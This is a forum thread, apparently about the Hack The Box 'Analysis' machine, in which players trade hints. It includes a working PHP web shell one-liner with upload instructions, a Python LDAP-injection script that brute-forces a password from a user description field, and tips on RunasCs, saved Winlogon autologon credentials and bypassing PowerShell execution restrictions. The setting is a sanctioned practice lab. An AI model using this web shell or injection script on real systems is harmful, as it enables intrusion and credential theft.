[D0rke1e]

can anyone share php shell payload

[bl4cksku11]

can anyone share php shell payload

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Put it into a php file, and upload it into the server by the SOC Report module

[DwightSchrute]

i am in, but how to get to the user flag?

[D0rke1e]

https://github.com/antonioCoco/ConPtyShell i run this tool but doesn't works properly what can do ?

[xlr]

how are you guys logging in (where) using the technician password

[peRd1]

how are you guys logging  in (where) using the technician password

Logon to the web portal where you can use the SOC upload functionality to gain foothold. Discussed above thoroughly.

[DwightSchrute]

could need a little hint...i /private/encoded.txt a rabbit hole?
if not - how to deal with it?

[Art10n]

got user, any hint for root

How did you get the user flag?

svc_web > webservice  > jdoe > user flag

i got some credential about webservice, but i don't know how to use that. can you give me a little hint more?

runascs

I got credentias, and uploaded RunCs.exe to box. Using RunasCs I can read files as webservice ... but I cannot find the jdoe credentials

[minimini510]

code:

import requests
import urllib.parse

charset = "/usr/share/seclists/Fuzzing/alphanum-case-extra.txt"
url_template = "http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description={}*)"
clair = ""

while True:
with open(charset, "r") as charset_file:
for char in charset_file.read():
clair_with_char = clair + char
clair_encoded = urllib.parse.quote(clair_with_char)
s = url_template.format(clair_encoded)
print("Trying URL:", s)
response = requests.get(s)

if "technic" in response.text:
clair += char
print(clair)
break



when your code is looped try add char "*" mannually

[peRd1]

i cant understand how  did u get the password  for the user i tried  so many ways  any hint that can might help me i tried the script and brute force and i tried  to change the script url  didnt work

If you got shell then you can do further enumeration to find out user credentials. It's autologon functionality, saved winlogon credential.

Use this tool - https://github.com/itm4n/PrivescCheck - bypass the powershell exec restriction, run it, analyze the report it dumps... there you have it...